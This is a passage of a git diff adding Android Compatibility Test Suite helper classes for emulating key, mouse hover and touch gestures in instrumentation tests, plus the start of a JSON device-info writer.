+            case KeyEvent.KEYCODE_SYM:
+                metaState = KeyEvent.META_SYM_ON;
+                break;
+            case KeyEvent.KEYCODE_NUM:
+                metaState = KeyEvent.META_NUM_LOCK_ON;
+                break;
+            case KeyEvent.KEYCODE_FUNCTION:
+                metaState = KeyEvent.META_FUNCTION_ON;
+                break;
+            default:
+                // Safety net: all modifier keys need to have at least one meta state associated.
+                throw new UnsupportedOperationException("No meta state associated with "
+                        + "modifier key: " + KeyEvent.keyCodeToString(modifierKeyCode));
+        }
+
+        return KeyEvent.normalizeMetaState(metaState);
+    }
+
+    private static KeyEvent[] getKeyEvents(final String text) {
+        KeyCharacterMap keyCharacterMap = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
+        return keyCharacterMap.getEvents(text.toCharArray());
+    }
+
+    private static void validateNotAppThread() {
+        if (Looper.myLooper() == Looper.getMainLooper()) {
+            throw new RuntimeException(
+                    "This method can not be called from the main application thread");
+        }
+    }
+}
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsMockitoUtils.java
similarity index 67%
copy from tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java
copy to common/device-side/util-axt/src/com/android/compatibility/common/util/CtsMockitoUtils.java
index c4e41f4..54985dc 100644
--- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsMockitoUtils.java
@@ -12,17 +12,15 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- *
  */
+package com.android.compatibility.common.util;
 
-package libcore.java.util.tests;
+import org.mockito.verification.VerificationMode;
 
-import com.google.common.collect.testing.TestsForSetsInJavaUtil;
+public class CtsMockitoUtils {
+    private CtsMockitoUtils() {}
 
-import junit.framework.Test;
-
-/**
- * Guava-testlib tests for {@code Set} implementations from {@code java.util}.
- */
-public class AndroidTestsForSetsInJavaUtil extends TestsForSetsInJavaUtil {
+    public static VerificationMode within(long timeout) {
+        return new Within(timeout);
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsMouseUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsMouseUtil.java
new file mode 100644
index 0000000..99228fe
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsMouseUtil.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.mockito.Matchers.argThat;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.inOrder;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+
+import android.os.SystemClock;
+import android.view.InputDevice;
+import android.view.MotionEvent;
+import android.view.View;
+
+import org.mockito.ArgumentMatcher;
+import org.mockito.InOrder;
+
+public final class CtsMouseUtil {
+
+    private CtsMouseUtil() {}
+
+    public static View.OnHoverListener installHoverListener(View view) {
+        return installHoverListener(view, true);
+    }
+
+    public static View.OnHoverListener installHoverListener(View view, boolean result) {
+        final View.OnHoverListener mockListener = mock(View.OnHoverListener.class);
+        view.setOnHoverListener((v, event) -> {
+            // Clone the event to work around event instance reuse in the framework.
+            mockListener.onHover(v, MotionEvent.obtain(event));
+            return result;
+        });
+        return mockListener;
+    }
+
+    public static void clearHoverListener(View view) {
+        view.setOnHoverListener(null);
+    }
+
+    public static MotionEvent obtainMouseEvent(int action, View anchor, int offsetX, int offsetY) {
+        final long eventTime = SystemClock.uptimeMillis();
+        final int[] screenPos = new int[2];
+        anchor.getLocationOnScreen(screenPos);
+        final int x = screenPos[0] + offsetX;
+        final int y = screenPos[1] + offsetY;
+        MotionEvent event = MotionEvent.obtain(eventTime, eventTime, action, x, y, 0);
+        event.setSource(InputDevice.SOURCE_MOUSE);
+        return event;
+    }
+
+    public static class ActionMatcher implements ArgumentMatcher<MotionEvent> {
+        private final int mAction;
+
+        public ActionMatcher(int action) {
+            mAction = action;
+        }
+
+        @Override
+        public boolean matches(MotionEvent actual) {
+            return actual.getAction() == mAction;
+        }
+
+        @Override
+        public String toString() {
+            return "action=" + MotionEvent.actionToString(mAction);
+        }
+    }
+
+    public static class PositionMatcher extends ActionMatcher {
+        private final int mX;
+        private final int mY;
+
+        public PositionMatcher(int action, int x, int y) {
+            super(action);
+            mX = x;
+            mY = y;
+        }
+
+        @Override
+        public boolean matches(MotionEvent actual) {
+            return super.matches(actual)
+                    && ((int) actual.getX()) == mX
+                    && ((int) actual.getY()) == mY;
+        }
+
+        @Override
+        public String toString() {
+            return super.toString() + "@(" + mX + "," + mY + ")";
+        }
+    }
+
+    public static void verifyEnterMove(View.OnHoverListener listener, View view, int moveCount) {
+        final InOrder inOrder = inOrder(listener);
+        verifyEnterMoveInternal(listener, view, moveCount, inOrder);
+        inOrder.verifyNoMoreInteractions();
+    }
+
+    public static void verifyEnterMoveExit(
+            View.OnHoverListener listener, View view, int moveCount) {
+        final InOrder inOrder = inOrder(listener);
+        verifyEnterMoveInternal(listener, view, moveCount, inOrder);
+        inOrder.verify(listener, times(1)).onHover(eq(view),
+                argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_EXIT)));
+        inOrder.verifyNoMoreInteractions();
+    }
+
+    private static void verifyEnterMoveInternal(
+            View.OnHoverListener listener, View view, int moveCount, InOrder inOrder) {
+        inOrder.verify(listener, times(1)).onHover(eq(view),
+                argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_ENTER)));
+        inOrder.verify(listener, times(moveCount)).onHover(eq(view),
+                argThat(new ActionMatcher(MotionEvent.ACTION_HOVER_MOVE)));
+    }
+}
+
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
new file mode 100644
index 0000000..16796a8
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsTouchUtils.java
@@ -0,0 +1,568 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.graphics.Point;
+import android.os.SystemClock;
+import android.util.SparseArray;
+import android.view.InputDevice;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.ViewConfiguration;
+import android.view.ViewGroup;
+
+/**
+ * Test utilities for touch emulation.
+ */
+public final class CtsTouchUtils {
+    /**
+     * Interface definition for a callback to be invoked when an event has been injected.
+     */
+    public interface EventInjectionListener {
+        /**
+         * Callback method to be invoked when a {MotionEvent#ACTION_DOWN} has been injected.
+         * @param xOnScreen X coordinate of the injected event.
+         * @param yOnScreen Y coordinate of the injected event.
+         */
+        public void onDownInjected(int xOnScreen, int yOnScreen);
+
+        /**
+         * Callback method to be invoked when a {MotionEvent#ACTION_MOVE} has been injected.
+         * @param xOnScreen X coordinates of the injected event.
+         * @param yOnScreen Y coordinates of the injected event.
+         */
+        public void onMoveInjected(int[] xOnScreen, int[] yOnScreen);
+
+        /**
+         * Callback method to be invoked when a {MotionEvent#ACTION_UP} has been injected.
+         * @param xOnScreen X coordinate of the injected event.
+         * @param yOnScreen Y coordinate of the injected event.
+         */
+        public void onUpInjected(int xOnScreen, int yOnScreen);
+    }
+
+    private CtsTouchUtils() {}
+
+    /**
+     * Emulates a tap in the center of the passed {@link View}.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to "tap"
+     */
+    public static void emulateTapOnViewCenter(Instrumentation instrumentation, View view) {
+        emulateTapOnView(instrumentation, view, view.getWidth() / 2, view.getHeight() / 2);
+    }
+
+    /**
+     * Emulates a tap on a point relative to the top-left corner of the passed {@link View}. Offset
+     * parameters are used to compute the final screen coordinates of the tap point.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param anchorView the anchor view to determine the tap location on the screen
+     * @param offsetX extra X offset for the tap
+     * @param offsetY extra Y offset for the tap
+     */
+    public static void emulateTapOnView(Instrumentation instrumentation, View anchorView,
+            int offsetX, int offsetY) {
+        final int touchSlop = ViewConfiguration.get(anchorView.getContext()).getScaledTouchSlop();
+        // Get anchor coordinates on the screen
+        final int[] viewOnScreenXY = new int[2];
+        anchorView.getLocationOnScreen(viewOnScreenXY);
+        int xOnScreen = viewOnScreenXY[0] + offsetX;
+        int yOnScreen = viewOnScreenXY[1] + offsetY;
+        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        final long downTime = SystemClock.uptimeMillis();
+
+        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
+        injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
+        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
+
+        // Wait for the system to process all events in the queue
+        instrumentation.waitForIdleSync();
+    }
+
+    /**
+     * Emulates a double tap in the center of the passed {@link View}.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to "double tap"
+     */
+    public static void emulateDoubleTapOnViewCenter(Instrumentation instrumentation, View view) {
+        emulateDoubleTapOnView(instrumentation, view, view.getWidth() / 2, view.getHeight() / 2);
+    }
+
+    /**
+     * Emulates a double tap on a point relative to the top-left corner of the passed {@link View}.
+     * Offset parameters are used to compute the final screen coordinates of the tap points.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param anchorView the anchor view to determine the tap location on the screen
+     * @param offsetX extra X offset for the taps
+     * @param offsetY extra Y offset for the taps
+     */
+    public static void emulateDoubleTapOnView(Instrumentation instrumentation, View anchorView,
+            int offsetX, int offsetY) {
+        final int touchSlop = ViewConfiguration.get(anchorView.getContext()).getScaledTouchSlop();
+        // Get anchor coordinates on the screen
+        final int[] viewOnScreenXY = new int[2];
+        anchorView.getLocationOnScreen(viewOnScreenXY);
+        int xOnScreen = viewOnScreenXY[0] + offsetX;
+        int yOnScreen = viewOnScreenXY[1] + offsetY;
+        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        final long downTime = SystemClock.uptimeMillis();
+
+        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
+        injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
+        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
+        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
+        injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
+        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
+
+        // Wait for the system to process all events in the queue
+        instrumentation.waitForIdleSync();
+    }
+
+    /**
+     * Emulates a linear drag gesture between 2 points across the screen.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param dragStartX Start X of the emulated drag gesture
+     * @param dragStartY Start Y of the emulated drag gesture
+     * @param dragAmountX X amount of the emulated drag gesture
+     * @param dragAmountY Y amount of the emulated drag gesture
+     */
+    public static void emulateDragGesture(Instrumentation instrumentation,
+            int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
+        emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY,
+                2000, 20, null);
+    }
+
+    private static void emulateDragGesture(Instrumentation instrumentation,
+            int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
+            int dragDurationMs, int moveEventCount) {
+        emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY,
+                dragDurationMs, moveEventCount, null);
+    }
+
+    private static void emulateDragGesture(Instrumentation instrumentation,
+            int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
+            int dragDurationMs, int moveEventCount,
+            EventInjectionListener eventInjectionListener) {
+        // We are using the UiAutomation object to inject events so that drag works
+        // across view / window boundaries (such as for the emulated drag and drop
+        // sequences)
+        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        final long downTime = SystemClock.uptimeMillis();
+
+        injectDownEvent(uiAutomation, downTime, dragStartX, dragStartY, eventInjectionListener);
+
+        // Inject a sequence of MOVE events that emulate the "move" part of the gesture
+        injectMoveEventsForDrag(uiAutomation, downTime, true, dragStartX, dragStartY,
+                dragStartX + dragAmountX, dragStartY + dragAmountY, moveEventCount, dragDurationMs,
+            eventInjectionListener);
+
+        injectUpEvent(uiAutomation, downTime, true, dragStartX + dragAmountX,
+                dragStartY + dragAmountY, eventInjectionListener);
+
+        // Wait for the system to process all events in the queue
+        instrumentation.waitForIdleSync();
+    }
+
+    /**
+     * Emulates a series of linear drag gestures across the screen between multiple points without
+     * lifting the finger. Note that this function does not support curve movements between the
+     * points.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param coordinates the ordered list of points for the drag gesture
+     */
+    public static void emulateDragGesture(Instrumentation instrumentation,
+            SparseArray<Point> coordinates) {
+        emulateDragGesture(instrumentation, coordinates, 2000, 20);
+    }
+
+    private static void emulateDragGesture(Instrumentation instrumentation,
+            SparseArray<Point> coordinates, int dragDurationMs, int moveEventCount) {
+        final int coordinatesSize = coordinates.size();
+        if (coordinatesSize < 2) {
+            throw new IllegalArgumentException("Need at least 2 points for emulating drag");
+        }
+        // We are using the UiAutomation object to inject events so that drag works
+        // across view / window boundaries (such as for the emulated drag and drop
+        // sequences)
+        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        final long downTime = SystemClock.uptimeMillis();
+
+        injectDownEvent(uiAutomation, downTime, coordinates.get(0).x, coordinates.get(0).y, null);
+
+        // Move to each coordinate.
+        for (int i = 0; i < coordinatesSize - 1; i++) {
+            // Inject a sequence of MOVE events that emulate the "move" part of the gesture.
+            injectMoveEventsForDrag(uiAutomation,
+                    downTime,
+                    true,
+                    coordinates.get(i).x,
+                    coordinates.get(i).y,
+                    coordinates.get(i + 1).x,
+                    coordinates.get(i + 1).y,
+                    moveEventCount,
+                    dragDurationMs,
+                    null);
+        }
+
+        injectUpEvent(uiAutomation,
+                downTime,
+                true,
+                coordinates.get(coordinatesSize - 1).x,
+                coordinates.get(coordinatesSize - 1).y,
+                null);
+
+        // Wait for the system to process all events in the queue
+        instrumentation.waitForIdleSync();
+    }
+
+    private static long injectDownEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
+            int yOnScreen, EventInjectionListener eventInjectionListener) {
+        MotionEvent eventDown = MotionEvent.obtain(
+                downTime, downTime, MotionEvent.ACTION_DOWN, xOnScreen, yOnScreen, 1);
+        eventDown.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+        uiAutomation.injectInputEvent(eventDown, true);
+        if (eventInjectionListener != null) {
+            eventInjectionListener.onDownInjected(xOnScreen, yOnScreen);
+        }
+        eventDown.recycle();
+        return downTime;
+    }
+
+    private static void injectMoveEventForTap(UiAutomation uiAutomation, long downTime,
+            int touchSlop, int xOnScreen, int yOnScreen) {
+        MotionEvent eventMove = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_MOVE,
+                xOnScreen + (touchSlop / 2.0f), yOnScreen + (touchSlop / 2.0f), 1);
+        eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+        uiAutomation.injectInputEvent(eventMove, true);
+        eventMove.recycle();
+    }
+
+    private static void injectMoveEventsForDrag(UiAutomation uiAutomation, long downTime,
+            boolean useCurrentEventTime, int dragStartX, int dragStartY, int dragEndX, int dragEndY,
+            int moveEventCount, int dragDurationMs, EventInjectionListener eventInjectionListener) {
+        final int dragAmountX = dragEndX - dragStartX;
+        final int dragAmountY = dragEndY - dragStartY;
+        final int sleepTime = dragDurationMs / moveEventCount;
+
+        // sleep for a bit to emulate the overall drag gesture.
+        long prevEventTime = downTime;
+        SystemClock.sleep(sleepTime);
+        for (int i = 0; i < moveEventCount; i++) {
+            // Note that the first MOVE event is generated "away" from the coordinates
+            // of the start / DOWN event, and the last MOVE event is generated
+            // at the same coordinates as the subsequent UP event.
+            final int moveX = dragStartX + dragAmountX * (i  + 1) / moveEventCount;
+            final int moveY = dragStartY + dragAmountY * (i  + 1) / moveEventCount;
+            long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
+
+            // If necessary, generate history for our next MOVE event. The history is generated
+            // to be spaced at 10 millisecond intervals, interpolating the coordinates from the
+            // last generated MOVE event to our current one.
+            int historyEventCount = (int) ((eventTime - prevEventTime) / 10);
+            int[] xCoordsForListener = (eventInjectionListener == null) ? null :
+                    new int[Math.max(1, historyEventCount)];
+            int[] yCoordsForListener = (eventInjectionListener == null) ? null :
+                    new int[Math.max(1, historyEventCount)];
+            MotionEvent eventMove = null;
+            if (historyEventCount == 0) {
+                eventMove = MotionEvent.obtain(
+                        downTime, eventTime, MotionEvent.ACTION_MOVE, moveX, moveY, 1);
+                if (eventInjectionListener != null) {
+                    xCoordsForListener[0] = moveX;
+                    yCoordsForListener[0] = moveY;
+                }
+            } else {
+                final int prevMoveX = dragStartX + dragAmountX * i / moveEventCount;
+                final int prevMoveY = dragStartY + dragAmountY * i / moveEventCount;
+                final int deltaMoveX = moveX - prevMoveX;
+                final int deltaMoveY = moveY - prevMoveY;
+                final long deltaTime = (eventTime - prevEventTime);
+                for (int historyIndex = 0; historyIndex < historyEventCount; historyIndex++) {
+                    int stepMoveX = prevMoveX + deltaMoveX * (historyIndex + 1) / historyEventCount;
+                    int stepMoveY = prevMoveY + deltaMoveY * (historyIndex + 1) / historyEventCount;
+                    long stepEventTime = useCurrentEventTime
+                            ? prevEventTime + deltaTime * (historyIndex + 1) / historyEventCount
+                            : downTime;
+                    if (historyIndex == 0) {
+                        // Generate the first event in our sequence
+                        eventMove = MotionEvent.obtain(downTime, stepEventTime,
+                                MotionEvent.ACTION_MOVE, stepMoveX, stepMoveY, 1);
+                    } else {
+                        // and then add to it
+                        eventMove.addBatch(stepEventTime, stepMoveX, stepMoveY, 1.0f, 1.0f, 1);
+                    }
+                    if (eventInjectionListener != null) {
+                        xCoordsForListener[historyIndex] = stepMoveX;
+                        yCoordsForListener[historyIndex] = stepMoveY;
+                    }
+                }
+            }
+
+            eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+            uiAutomation.injectInputEvent(eventMove, true);
+            if (eventInjectionListener != null) {
+                eventInjectionListener.onMoveInjected(xCoordsForListener, yCoordsForListener);
+            }
+            eventMove.recycle();
+            prevEventTime = eventTime;
+
+            // sleep for a bit to emulate the overall drag gesture.
+            SystemClock.sleep(sleepTime);
+        }
+    }
+
+    private static void injectUpEvent(UiAutomation uiAutomation, long downTime,
+            boolean useCurrentEventTime, int xOnScreen, int yOnScreen,
+            EventInjectionListener eventInjectionListener) {
+        long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
+        MotionEvent eventUp = MotionEvent.obtain(
+                downTime, eventTime, MotionEvent.ACTION_UP, xOnScreen, yOnScreen, 1);
+        eventUp.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+        uiAutomation.injectInputEvent(eventUp, true);
+        if (eventInjectionListener != null) {
+            eventInjectionListener.onUpInjected(xOnScreen, yOnScreen);
+        }
+        eventUp.recycle();
+    }
+
+    /**
+     * Emulates a fling gesture across the horizontal center of the passed view.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to fling
+     * @param isDownwardsFlingGesture if <code>true</code>, the emulated fling will
+     *      be a downwards gesture
+     * @return The vertical amount of emulated fling in pixels
+     */
+    public static int emulateFlingGesture(Instrumentation instrumentation,
+            View view, boolean isDownwardsFlingGesture) {
+        return emulateFlingGesture(instrumentation, view, isDownwardsFlingGesture, null);
+    }
+
+    /**
+     * Emulates a fling gesture across the horizontal center of the passed view.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to fling
+     * @param isDownwardsFlingGesture if <code>true</code>, the emulated fling will
+     *      be a downwards gesture
+     * @param eventInjectionListener optional listener to notify about the injected events
+     * @return The vertical amount of emulated fling in pixels
+     */
+    public static int emulateFlingGesture(Instrumentation instrumentation,
+            View view, boolean isDownwardsFlingGesture,
+            EventInjectionListener eventInjectionListener) {
+        final ViewConfiguration configuration = ViewConfiguration.get(view.getContext());
+        final int flingVelocity = (configuration.getScaledMinimumFlingVelocity() +
+                configuration.getScaledMaximumFlingVelocity()) / 2;
+        // Get view coordinates on the screen
+        final int[] viewOnScreenXY = new int[2];
+        view.getLocationOnScreen(viewOnScreenXY);
+
+        // Our fling gesture will be from 25% height of the view to 75% height of the view
+        // for downwards fling gesture, and the other way around for upwards fling gesture
+        final int viewHeight = view.getHeight();
+        final int x = viewOnScreenXY[0] + view.getWidth() / 2;
+        final int startY = isDownwardsFlingGesture ? viewOnScreenXY[1] + viewHeight / 4
+                : viewOnScreenXY[1] + 3 * viewHeight / 4;
+        final int amountY = isDownwardsFlingGesture ? viewHeight / 2 : -viewHeight / 2;
+
+        // Compute fling gesture duration based on the distance (50% height of the view) and
+        // fling velocity
+        final int durationMs = (1000 * viewHeight) / (2 * flingVelocity);
+
+        // And do the same event injection sequence as our generic drag gesture
+        emulateDragGesture(instrumentation, x, startY, 0, amountY, durationMs, durationMs / 16,
+            eventInjectionListener);
+
+        return amountY;
+    }
+
+    private static class ViewStateSnapshot {
+        final View mFirst;
+        final View mLast;
+        final int mFirstTop;
+        final int mLastBottom;
+        final int mChildCount;
+        private ViewStateSnapshot(ViewGroup viewGroup) {
+            mChildCount = viewGroup.getChildCount();
+            if (mChildCount == 0) {
+                mFirst = mLast = null;
+                mFirstTop = mLastBottom = Integer.MIN_VALUE;
+            } else {
+                mFirst = viewGroup.getChildAt(0);
+                mLast = viewGroup.getChildAt(mChildCount - 1);
+                mFirstTop = mFirst.getTop();
+                mLastBottom = mLast.getBottom();
+            }
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (this == o) {
+                return true;
+            }
+            if (o == null || getClass() != o.getClass()) {
+                return false;
+            }
+
+            final ViewStateSnapshot that = (ViewStateSnapshot) o;
+            return mFirstTop == that.mFirstTop &&
+                    mLastBottom == that.mLastBottom &&
+                    mFirst == that.mFirst &&
+                    mLast == that.mLast &&
+                    mChildCount == that.mChildCount;
+        }
+
+        @Override
+        public int hashCode() {
+            int result = mFirst != null ? mFirst.hashCode() : 0;
+            result = 31 * result + (mLast != null ? mLast.hashCode() : 0);
+            result = 31 * result + mFirstTop;
+            result = 31 * result + mLastBottom;
+            result = 31 * result + mChildCount;
+            return result;
+        }
+    }
+
+    /**
+     * Emulates a scroll to the bottom of the specified {@link ViewGroup}.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param viewGroup View group
+     */
+    public static void emulateScrollToBottom(Instrumentation instrumentation, ViewGroup viewGroup) {
+        final int[] viewGroupOnScreenXY = new int[2];
+        viewGroup.getLocationOnScreen(viewGroupOnScreenXY);
+
+        final int emulatedX = viewGroupOnScreenXY[0] + viewGroup.getWidth() / 2;
+        final int emulatedStartY = viewGroupOnScreenXY[1] + 3 * viewGroup.getHeight() / 4;
+        final int swipeAmount = viewGroup.getHeight() / 2;
+
+        ViewStateSnapshot prev;
+        ViewStateSnapshot next = new ViewStateSnapshot(viewGroup);
+        do {
+            prev = next;
+            emulateDragGesture(instrumentation, emulatedX, emulatedStartY, 0, -swipeAmount,
+                    300, 10);
+            next = new ViewStateSnapshot(viewGroup);
+        } while (!prev.equals(next));
+    }
+
+    /**
+     * Emulates a long press in the center of the passed {@link View}.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to "long press"
+     */
+    public static void emulateLongPressOnViewCenter(Instrumentation instrumentation, View view) {
+        emulateLongPressOnViewCenter(instrumentation, view, 0);
+    }
+
+    /**
+     * Emulates a long press in the center of the passed {@link View}.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to "long press"
+     * @param extraWaitMs the duration of emulated "long press" in milliseconds starting
+     *      after system-level long press timeout.
+     */
+    public static void emulateLongPressOnViewCenter(Instrumentation instrumentation, View view,
+            long extraWaitMs) {
+        final int touchSlop = ViewConfiguration.get(view.getContext()).getScaledTouchSlop();
+        // Use instrumentation to emulate a tap on the spinner to bring down its popup
+        final int[] viewOnScreenXY = new int[2];
+        view.getLocationOnScreen(viewOnScreenXY);
+        int xOnScreen = viewOnScreenXY[0] + view.getWidth() / 2;
+        int yOnScreen = viewOnScreenXY[1] + view.getHeight() / 2;
+
+        emulateLongPressOnScreen(
+                instrumentation, xOnScreen, yOnScreen, touchSlop, extraWaitMs, true);
+    }
+
+    /**
+     * Emulates a long press confirmed on a point relative to the top-left corner of the passed
+     * {@link View}. Offset parameters are used to compute the final screen coordinates of the
+     * press point.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to "long press"
+     * @param offsetX extra X offset for the tap
+     * @param offsetY extra Y offset for the tap
+     */
+    public static void emulateLongPressOnView(Instrumentation instrumentation, View view,
+            int offsetX, int offsetY) {
+        final int touchSlop = ViewConfiguration.get(view.getContext()).getScaledTouchSlop();
+        final int[] viewOnScreenXY = new int[2];
+        view.getLocationOnScreen(viewOnScreenXY);
+        int xOnScreen = viewOnScreenXY[0] + offsetX;
+        int yOnScreen = viewOnScreenXY[1] + offsetY;
+
+        emulateLongPressOnScreen(instrumentation, xOnScreen, yOnScreen, touchSlop, 0, true);
+    }
+
+    /**
+     * Emulates a long press then a linear drag gesture between 2 points across the screen.
+     * This is used for drag selection.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param dragStartX Start X of the emulated drag gesture
+     * @param dragStartY Start Y of the emulated drag gesture
+     * @param dragAmountX X amount of the emulated drag gesture
+     * @param dragAmountY Y amount of the emulated drag gesture
+     */
+    public static void emulateLongPressAndDragGesture(Instrumentation instrumentation,
+            int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
+        emulateLongPressOnScreen(instrumentation, dragStartX, dragStartY,
+                0 /* touchSlop */, 0 /* extraWaitMs */, false /* upGesture */);
+        emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY);
+    }
+
+    /**
+     * Emulates a long press on the screen.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param xOnScreen X position on screen for the "long press"
+     * @param yOnScreen Y position on screen for the "long press"
+     * @param extraWaitMs extra duration of emulated long press in milliseconds added
+     *        after the system-level "long press" timeout.
+     * @param upGesture whether to include an up event.
+     */
+    private static void emulateLongPressOnScreen(Instrumentation instrumentation,
+            int xOnScreen, int yOnScreen, int touchSlop, long extraWaitMs, boolean upGesture) {
+        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        final long downTime = SystemClock.uptimeMillis();
+
+        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
+        injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
+        SystemClock.sleep((long) (ViewConfiguration.getLongPressTimeout() * 1.5f) + extraWaitMs);
+        if (upGesture) {
+            injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
+        }
+
+        // Wait for the system to process all events in the queue
+        instrumentation.waitForIdleSync();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceInfoStore.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceInfoStore.java
new file mode 100644
index 0000000..966ac1a
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DeviceInfoStore.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.util.JsonWriter;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.OutputStreamWriter;
+import java.nio.charset.StandardCharsets;
+import java.util.Arrays;
+import java.util.List;
+
+public class DeviceInfoStore extends InfoStore {
+
+    protected File mJsonFile;
+    protected JsonWriter mJsonWriter = null;
+
+    public DeviceInfoStore() {
+        mJsonFile = null;
+    }
+
+    public DeviceInfoStore(File file) throws Exception {
+        mJsonFile = file;
+    }
+
+    /**
+     * Opens the file for storage and creates the writer.
+     */
+    @Override
+    public void open() throws IOException {
+        FileOutputStream out = new FileOutputStream(mJsonFile);
+        mJsonWriter = new JsonWriter(new OutputStreamWriter(out, StandardCharsets.UTF_8));
+        // TODO(agathaman): remove to make json output less pretty
+        mJsonWriter.setIndent("  ");
+        mJsonWriter.beginObject();
+    }
+
+    /**
+     * Closes the writer.
+     */
+    @Override
